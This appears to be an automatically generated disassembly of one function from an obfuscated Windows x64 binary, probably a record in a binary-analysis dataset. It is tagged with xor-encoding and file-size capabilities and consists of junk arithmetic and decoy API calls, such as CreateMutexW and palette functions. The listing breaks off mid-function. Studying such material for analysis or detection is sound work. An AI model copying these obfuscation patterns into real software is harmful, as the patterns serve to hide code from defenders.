Function at 0x140001000
Capabilities:
Encode data using xor
Get file size

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x508
movabs rax, 0x7834b8558bc273
mov qword [rsp + 0x210], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x300], rax
mov dword [rsp + 0x438], 0x2f37
mov eax, 0x50f
mov word [rsp + 0x110], ax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x208], rax
movsx ecx, word [rsp + 0x110]
add ecx, 0x267
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
cmp ecx, eax
jne 0x1400010cb
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
sub eax, 0x157
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0x208]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x208]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x110]
mov ecx, dword [rsp + 0x438]
call fcn.140006d20
movsx eax, word [rsp + 0x110]
mov dword [rsp + 0x4c4], eax
cmp dword [rsp + 0x4c4], 0x21c
je 0x1400010ec
jmp 0x14000118e
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
and eax, 0x5ef
mov word [rsp + 0x110], ax
movabs rcx, 0x787ff69a0beccd
mov rax, qword [rsp + 0x210]
or rax, rcx
mov qword [rsp + 0x210], rax
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x430]
call qword [sym.imp.GDI32.dll_SelectPalette]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x110]
xor ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov rax, qword [rsp + 0x208]
movsx edx, word [rax]
movsx eax, word [rsp + 0x110]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
jmp 0x1400012af
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
cdq
mov ecx, 0x17e
idiv ecx
mov ecx, eax
movsx eax, word [rsp + 0x110]
cmp ecx, eax
jle 0x1400011db
mov rax, qword [rsp + 0x208]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x110]
mov rax, qword [rsp + 0x208]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x438]
call fcn.140006d20
mov dword [rsp + 0x2b8], 0x78d6
mov dword [rsp + 0x408], 0x62c
movabs rax, 0x74b8e91498924d
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x4c8], rax
movabs rax, 0x745739fbdc8d77
cmp qword [rsp + 0x4c8], rax
je 0x14000128f
movabs rax, 0x74b8e91498924d
cmp qword [rsp + 0x4c8], rax
je 0x14000123d
jmp 0x1400012af
mov dword [rsp + 0x328], 0xf17
mov eax, dword [rsp + 0x438]
mov dword [rsp + 0x1cc], eax
movzx eax, byte [section..data]
sar eax, 1
mov byte [section..data], al
mov eax, 0x98c
mov word [rsp + 0xa0], ax
mov dword [rsp + 0x3c8], 0x10fe9
lea rax, [rsp + 0x210]
mov qword [rsp + 0x190], rax
jmp 0x1400012af
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
movabs rcx, 0x789415da24320f
sub rax, rcx
mov qword [rsp + 0x210], rax
movabs rax, 0x7b73ddf3e99541
cmp qword [rsp + 0x1e0], rax
jle 0x1400012e0
call fcn.140006d90
mov eax, dword [rsp + 0x1cc]
xor eax, 0x13c4
mov dword [rsp + 0x438], eax
jmp 0x140006b35
mov byte [rsp + 0x220], 0x7a
movzx eax, word [rsp + 0xa0]
mov dword [rsp + 0x4d0], eax
cmp dword [rsp + 0x4d0], 0x31a
je 0x140006a5d
cmp dword [rsp + 0x4d0], 0x98c
je 0x14000131a
jmp 0x140006acf
movsx eax, byte [rsp + 0x220]
add eax, 0x15
mov byte [rsp + 0x220], al
mov eax, dword [rsp + 0x1cc]
and eax, 0x47fd
mov dword [rsp + 0x438], eax
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov eax, dword [rsp + 0x328]
sub eax, 0xe5d4
mov dword [rsp + 0x328], eax
movabs rcx, 0x7c5f7ed100c65f
mov rax, qword [rsp + 0x1e0]
add rax, rcx
mov qword [rsp + 0x1e0], rax
movsx ecx, word [rsp + 0x110]
sub ecx, 0x228
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov eax, dword [rsp + 0x3c8]
sub eax, 0xa4
mov dword [rsp + 0x3c8], eax
movsx eax, byte [rsp + 0x220]
or eax, 0x2b
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
sar eax, 1
mov word [rsp + 0x110], ax
movzx eax, byte [section..data]
shl eax, 7
mov byte [section..data], al
movabs rax, 0x747e3d1837c715
mov rcx, qword [rsp + 0x210]
xor rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
movabs rax, 0x70def9c3a3a265
mov rcx, qword [rsp + 0x210]
and rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov eax, dword [rsp + 0x1cc]
add eax, 0x55fd
mov dword [rsp + 0x438], eax
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
movabs rcx, 0x71670cb835fb60
sub rax, rcx
mov qword [rsp + 0x210], rax
movsx eax, byte [rsp + 0x220]
sub eax, 0x75
mov byte [rsp + 0x220], al
movsx ecx, word [rsp + 0x110]
add ecx, 0x141
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x110]
add ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
cmp dword [rsp + 0x3c8], 0xf3b9
ja 0x14000131a
movzx eax, byte [section..data]
cmp eax, 0xfc
jl 0x140001512
movzx ecx, byte [rsp + 0x220]
call fcn.140006c10
movzx eax, word [rsp + 0xa0]
and eax, 0x53
mov word [rsp + 0xa0], ax
movabs rax, 0x723cc88b6de93b
mov rcx, qword [rsp + 0x210]
sub rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
jmp 0x1400015a0
mov eax, dword [rsp + 0x328]
mov dword [rsp + 0x4d4], eax
cmp dword [rsp + 0x4d4], 0x4efa
je 0x140001581
cmp dword [rsp + 0x4d4], 0x5fda
je 0x14000153c
jmp 0x140001595
mov eax, dword [rsp + 0x1cc]
sub eax, 0x79f2
mov dword [rsp + 0x438], eax
mov eax, dword [rsp + 0x328]
add eax, 0x8c7a
mov dword [rsp + 0x328], eax
movzx r8d, byte [rsp + 0x220]
mov edx, dword [rsp + 0x438]
movzx ecx, word [rsp + 0xa0]
call fcn.140006cc0
jmp 0x140001595
mov rax, qword [rsp + 0x1e0]
shl rax, 0x1f
mov qword [rsp + 0x1e0], rax
mov dword [rsp + 0x1a0], OpenProcessToken
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x88], rax
movzx eax, byte [rsp + 0x220]
mov byte [rsp + 0x94], al
mov dword [rsp + 0x90], 0x1e58
cmp dword [rsp + 0x2b8], 0x3bec
jb 0x140001a66
movzx eax, word [rsp + 0xa0]
sar eax, 1
mov word [rsp + 0xa0], ax
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
xor eax, 0x6c4
mov word [rsp + 0x110], ax
movzx eax, word [rsp + 0xa0]
or eax, 0xf33
mov word [rsp + 0xa0], ax
movsx ecx, word [rsp + 0x110]
and ecx, 0x32a
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov eax, dword [rsp + 0x438]
add eax, 0x1508
mov dword [rsp + 0x1cc], eax
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x210]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x190]
mov rax, qword [rsp + 0x210]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x478], eax
movabs rcx, 0x7d5158723d94f3
mov rax, qword [rsp + 0x1e0]
add rax, rcx
mov qword [rsp + 0x1e0], rax
movzx eax, word [rsp + 0xa0]
sub eax, 0x58
mov word [rsp + 0xa0], ax
movsx eax, byte [rsp + 0x220]
add eax, 0x15
mov byte [rsp + 0x94], al
movabs rcx, 0x79788761b12939
mov rax, qword [rsp + 0x1e0]
and rax, rcx
mov qword [rsp + 0x1e0], rax
movsx eax, byte [rsp + 0x94]
sub eax, 0x56
mov byte [rsp + 0x220], al
movzx eax, byte [section..data]
xor eax, 0xb1
mov byte [section..data], al
mov eax, dword [rsp + 0x438]
or eax, 0x559b
mov dword [rsp + 0x1cc], eax
mov eax, dword [rsp + 0x328]
shl eax, 0xa
mov dword [rsp + 0x328], eax
mov rcx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x110]
and ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov rcx, qword [rsp + 0x190]
mov rax, qword [rsp + 0x210]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov eax, dword [rsp + 0x2b8]
sub eax, 0xe2
mov dword [rsp + 0x2b8], eax
movzx eax, word [rsp + 0xa0]
add eax, 0x3cf
mov word [rsp + 0xa0], ax
movzx eax, word [rsp + 0xa0]
add eax, 0xffd
mov word [rsp + 0xa0], ax
movzx eax, byte [section..data]
sub eax, 0x7c
mov byte [section..data], al
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
add rax, qword [rsp + 0x210]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x88]
sub rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov eax, dword [rsp + 0x328]
add eax, 0x42e3
mov dword [rsp + 0x328], eax
movabs rcx, 0x7a39676b70dc6e
mov rax, qword [rsp + 0x1e0]
and rax, rcx
mov qword [rsp + 0x1e0], rax
movzx eax, word [rsp + 0xa0]
sar eax, 3
mov word [rsp + 0xa0], ax
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
shl eax, 2
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x210]
xor rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x110]
or ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x88]
sub rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov eax, dword [rsp + 0x1cc]
sub eax, 0x5c00
mov dword [rsp + 0x438], eax
mov eax, dword [rsp + 0x328]
and eax, 0xdae4
mov dword [rsp + 0x328], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xb8], eax
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x210]
add rax, rcx
mov qword [rsp + 0x88], rax
movabs rcx, 0x74637de0dc43f3
mov rax, qword [rsp + 0x1e0]
sub rax, rcx
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
add eax, 0x4f8
mov word [rsp + 0x110], ax
movzx eax, word [rsp + 0xa0]
add eax, 0xdfb
mov word [rsp + 0xa0], ax
movsx eax, byte [rsp + 0x94]
sub eax, 0x44
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x110]
add ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x210]
sub rax, rcx
mov qword [rsp + 0x88], rax
movzx eax, byte [section..data]
add eax, 0x44
mov byte [section..data], al
mov rax, qword [rsp + 0x88]
movzx ecx, al
mov rax, qword [rsp + 0x210]
shr rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov eax, dword [rsp + 0x328]
or eax, 0xc1a7
mov dword [rsp + 0x328], eax
mov rax, qword [rsp + 0x1e0]
shl rax, 0x39
mov qword [rsp + 0x1e0], rax
movsx eax, byte [rsp + 0x220]
xor eax, 0x7a
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
and eax, 0x3d9
mov word [rsp + 0x110], ax
jmp 0x1400015ca
movzx eax, word [rsp + 0xa0]
mov word [rsp + 0x198], ax
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x368], al
movzx eax, byte [section..data]
mov byte [rsp + 0x138], al
movsx ecx, byte [rsp + 0x94]
movsx eax, byte [rsp + 0x368]
sub ecx, eax
movsx eax, byte [rsp + 0x220]
cmp ecx, eax
jl 0x140001b6d
mov eax, dword [rsp + 0x1cc]
mov dword [0x140012084], eax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x210]
and rcx, rax
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
add rax, qword [rsp + 0x1b8]
cmp rcx, rax
ja 0x140001b60
mov eax, dword [rsp + 0x328]
mov dword [rsp + 0x2d8], eax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x3b0], rax
mov eax, dword [rsp + 0x1cc]
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x208]
movzx eax, word [rax]
mov word [rsp + 0x1e8], ax
movsx eax, byte [rsp + 0x368]
movsx ecx, byte [rsp + 0x94]
sub eax, ecx
mov byte [rsp + 0x220], al
movzx eax, byte [section..data]
mov byte [rsp + 0x284], al
mov dword [rsp + 0xb0], 0xc438
jmp 0x140001bb6
movsx ecx, word [rsp + 0x110]
movsx eax, word [rsp + 0x1e8]
add ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov ecx, dword [rsp + 0x438]
mov eax, dword [rsp + 0x78]
add eax, ecx
mov dword [0x140012084], eax
movsx eax, byte [rsp + 0x368]
movsx ecx, byte [rsp + 0x220]
sub eax, ecx
mov byte [rsp + 0x94], al
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x2d8]
mov dword [rsp + 0xe4], eax
mov eax, dword [rsp + 0x2d8]
movzx ecx, al
mov eax, dword [rsp + 0x328]
shl eax, cl
cmp eax, dword [rsp + 0xe4]
jbe 0x140001c95
movzx eax, word [rsp + 0xa0]
cdq
mov ecx, 0x2d0
idiv ecx
mov ecx, eax
movzx eax, word [rsp + 0x198]
cmp ecx, eax
jne 0x140001c58
mov ecx, dword [rsp + 0x438]
mov eax, dword [rsp + 0x78]
xor eax, ecx
mov dword [rsp + 0x1cc], eax
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x210]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.GDI32.dll_RealizePalette]
mov dword [rsp + 0x328], eax
jmp 0x140001c93
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1e0]
sar rax, cl
cmp rax, qword [rsp + 0x3b0]
jge 0x140001c93
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x3b0]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
jmp 0x140001c9a
call fcn.140006d90
lea rax, [rsp + 0x110]
mov qword [rsp + 0x100], rax
movzx eax, word [rsp + 0x198]
mov word [rsp + 0x2e8], ax
mov ecx, dword [rsp + 0x2d8]
mov eax, dword [rsp + 0xe4]
add eax, ecx
mov dword [0x140011004], eax
movzx eax, byte [rsp + 0x368]
mov byte [rsp + 0x28c], al
mov eax, dword [rsp + 0x438]
mov edx, dword [rsp + 0x78]
add edx, eax
mov ecx, dword [0x140012084]
mov eax, dword [rsp + 0x1cc]
sub eax, ecx
cmp edx, eax
jg 0x1400069a3
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1b8]
sub rax, rcx
mov qword [rsp + 0x210], rax
mov eax, dword [rsp + 0x328]
mov dword [rsp + 0x334], eax
movzx eax, word [rsp + 0x2e8]
movzx ecx, word [rsp + 0x198]
or eax, ecx
mov word [rsp + 0xa0], ax
movzx eax, byte [rsp + 0x284]
mov byte [rsp + 0x149], al
movzx edx, word [rsp + 0x198]
movzx eax, word [rsp + 0x2e8]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [0x140011008], ax
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x19c], al
movzx r8d, byte [rsp + 0x138]
movzx eax, byte [rsp + 0x149]
xor r8d, eax
movzx eax, byte [rsp + 0x284]
movzx ecx, byte [section..data]
cdq
idiv ecx
cmp r8d, eax
je 0x140001df9
mov rax, qword [rsp + 0x208]
movzx eax, word [rax]
mov word [rsp + 0x280], ax
movzx eax, word [rsp + 0x2e8]
movzx ecx, word [rsp + 0xa0]
and eax, ecx
mov word [rsp + 0x198], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
mov qword [rsp + 0xd8], rax
jmp 0x140001e6e
mov ecx, dword [rsp + 0x328]
mov eax, dword [rsp + 0x334]
sub eax, ecx
mov dword [rsp + 0xe4], eax
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x88]
sub rax, rcx
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x100]
movsx edx, word [rax]
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1e8], ax
movzx eax, byte [rsp + 0x138]
movzx ecx, byte [rsp + 0x149]
add eax, ecx
mov byte [section..data], al
mov rcx, qword [rsp + 0x190]
mov rax, qword [rsp + 0x1b8]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
movzx eax, byte [rsp + 0x149]
movzx ecx, byte [rsp + 0x138]
sub eax, ecx
mov byte [rsp + 0x284], al
mov eax, dword [rsp + 0x1a0]
sub eax, 0x2f
mov dword [rsp + 0x1a0], eax
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x3b0]
add rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x1e0]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1e0]
movzx ecx, al
mov rax, qword [rsp + 0xd8]
sar rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x438]
mov eax, dword [rsp + 0x78]
or eax, ecx
mov dword [rsp + 0x1cc], eax
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x110]
xor ecx, eax
mov rax, qword [rsp + 0x100]
mov word [rax], cx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x1e0]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
movsx eax, byte [rsp + 0x368]
movsx ecx, byte [rsp + 0x220]
add eax, ecx
mov byte [rsp + 0x19c], al
movzx eax, byte [rsp + 0x284]
movzx ecx, byte [rsp + 0x138]
sub eax, ecx
mov byte [rsp + 0x149], al
movzx eax, word [rsp + 0x2e8]
movzx ecx, word [0x140011008]
add eax, ecx
mov word [rsp + 0x198], ax
mov rcx, qword [rsp + 0x190]
mov rax, qword [rsp + 0x88]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x88]
sub rax, rcx
mov qword [rsp + 0x1b8], rax
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x3b0]
sub rax, rcx
mov qword [rsp + 0x1e0], rax
mov ecx, dword [rsp + 0x1cc]
mov eax, dword [rsp + 0x78]
and eax, ecx
mov dword [rsp + 0x438], eax
cmp dword [rsp + 0x1a0], 0xed6d
jae 0x140001e6e
lea rax, [rsp + 0x1e8]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
mov qword [0x140012068], rax
lea rax, [rsp + 0x368]
mov qword [rsp + 0x228], rax
lea rax, [rsp + 0x19c]
mov qword [rsp + 0x468], rax
movzx eax, byte [rsp + 0x284]
movzx ecx, byte [rsp + 0x138]
imul eax, ecx
mov byte [rsp + 0x149], al
movzx eax, word [rsp + 0x280]
mov word [rsp + 0x3cc], ax
mov dword [rsp + 0x3e0], 0xc5e5
movzx r8d, byte [rsp + 0x284]
movzx eax, byte [rsp + 0x138]
add r8d, eax
movzx edx, byte [rsp + 0x149]
movzx eax, byte [section..data]
movzx ecx, al
mov eax, edx
shl eax, cl
cmp r8d, eax
jg 0x14000219d
mov rcx, qword [rsp + 0x3b0]
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
sar rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x328]
mov eax, dword [0x140011004]
add eax, ecx
mov dword [rsp + 0x334], eax
mov ecx, dword [0x140012084]
mov eax, dword [rsp + 0x1cc]
and eax, ecx
mov dword [rsp + 0x438], eax
mov rax, qword [rsp + 0x158]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x110]
mov rax, qword [rsp + 0x100]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x1cc]
call fcn.140006d20
jmp 0x1400021f1
mov rax, qword [rsp + 0x100]
movsx r8d, word [rax]
mov rax, qword [rsp + 0x158]
movsx eax, word [rax]
or r8d, eax
movsx edx, word [rsp + 0x1e8]
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
cmp r8d, eax
jge 0x1400021f1
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x210]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x88], rax
movsx eax, byte [rsp + 0x220]
movsx ecx, byte [rsp + 0x94]
add eax, ecx
mov byte [0x140011001], al
mov eax, dword [0x140012084]
mov edx, dword [rsp + 0x438]
add edx, eax
mov ecx, dword [rsp + 0x78]
mov eax, dword [rsp + 0x1cc]
sub eax, ecx
cmp edx, eax
jge 0x1400068cf
mov rcx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x334]
mov qword [rsp + 0x1b0], rax
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
shr rax, cl
mov qword [0x140011010], rax
mov eax, dword [rsp + 0x438]
mov dword [rsp + 0x2c8], eax
movzx eax, byte [rsp + 0x138]
movzx ecx, byte [section..data]
sub eax, ecx
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0x468]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x228]
movsx eax, byte [rax]
add edx, eax
movsx eax, byte [rsp + 0x368]
movsx ecx, byte [rsp + 0x94]
and eax, ecx
cmp edx, eax
je 0x140002323
movsx eax, byte [rsp + 0x94]
movsx ecx, byte [rsp + 0x28c]
sub eax, ecx
mov byte [rsp + 0x19c], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x130], rax
movzx eax, word [rsp + 0xa0]
mov word [rsp + 0x150], ax
movzx eax, word [rsp + 0xa0]
movzx ecx, word [0x140011008]
add eax, ecx
mov word [rsp + 0x150], ax
cmp dword [rsp + 0x90], 0x514
jb 0x140002546
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x280]
sub eax, ecx
mov word [rsp + 0x1e8], ax
mov ecx, dword [rsp + 0x78]
mov eax, dword [rsp + 0x438]
sub eax, ecx
mov dword [rsp + 0x1cc], eax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140011010], rax
mov eax, dword [rsp + 0xe4]
mov dword [rsp + 0xe0], eax
mov rax, qword [rsp + 0x468]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x220]
add eax, ecx
mov byte [rsp + 0x368], al
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e8]
sub eax, ecx
mov word [rsp + 0x110], ax
movzx eax, byte [rsp + 0x284]
movzx ecx, byte [rsp + 0x149]
or eax, ecx
mov byte [rsp + 0x138], al
movzx edx, word [rsp + 0x2e8]
movzx eax, word [0x140011008]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x198], ax
movsx edx, byte [rsp + 0x220]
mov rax, qword [rsp + 0x468]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x94], al
mov rcx, qword [rsp + 0x1b0]
mov eax, dword [0x140011004]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x1b0]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xd8]
and rax, rcx
mov qword [rsp + 0x3b0], rax
mov eax, dword [0x140011004]
mov ecx, dword [rsp + 0x328]
sub ecx, eax
mov rax, qword [rsp + 0x1b0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
add rax, qword [rsp + 0x88]
mov qword [0x140011010], rax
movzx eax, byte [rsp + 0x284]
movzx ecx, byte [rsp + 0x149]
and eax, ecx
mov byte [rsp + 0x138], al
movsx edx, word [rsp + 0x1e8]
mov rax, qword [rsp + 0x158]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x280], ax
movsx ecx, byte [rsp + 0x19c]
mov rax, qword [rsp + 0x228]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x468]
mov byte [rax], cl
mov eax, dword [rsp + 0x90]
sub eax, 0x4d
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0x158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x280]
add eax, ecx
mov word [rsp + 0x110], ax
movzx eax, byte [rsp + 0x284]
movzx ecx, byte [rsp + 0x149]
sub eax, ecx
mov byte [rsp + 0x138], al
jmp 0x140002323
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
mov dword [rsp + 0x154], eax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x3b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0x68], 0x1268
lea rax, [rsp + 0x88]
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x440]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov r11, qword [0x140011010]
mov qword [0x140012060], r11
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0x3d8], rax
movzx edx, word [rsp + 0xa0]
movzx eax, word [0x140011008]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x2e8], ax
movzx eax, word [rsp + 0x198]
mov word [rsp + 0x4a0], ax
lea rax, [rsp + 0x94]
mov qword [rsp + 0x3f8], rax
lea rax, [rsp + 0x284]
mov qword [rsp + 0x98], rax
mov ecx, dword [rsp + 0x334]
mov rax, qword [rsp + 0x1b0]
mov edx, dword [rax]
shr edx, cl
mov ecx, dword [0x140011004]
mov eax, dword [rsp + 0x154]
or eax, ecx
cmp edx, eax
jbe 0x1400026e9
movsx eax, word [rsp + 0x3cc]
movsx ecx, word [rsp + 0x1e8]
xor eax, ecx
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rsp + 0x2c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x438], eax
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xd8]
sub rax, rcx
mov qword [rsp + 0x1e0], rax
mov eax, dword [rsp + 0x328]
mov ecx, dword [rsp + 0xe0]
sub ecx, eax
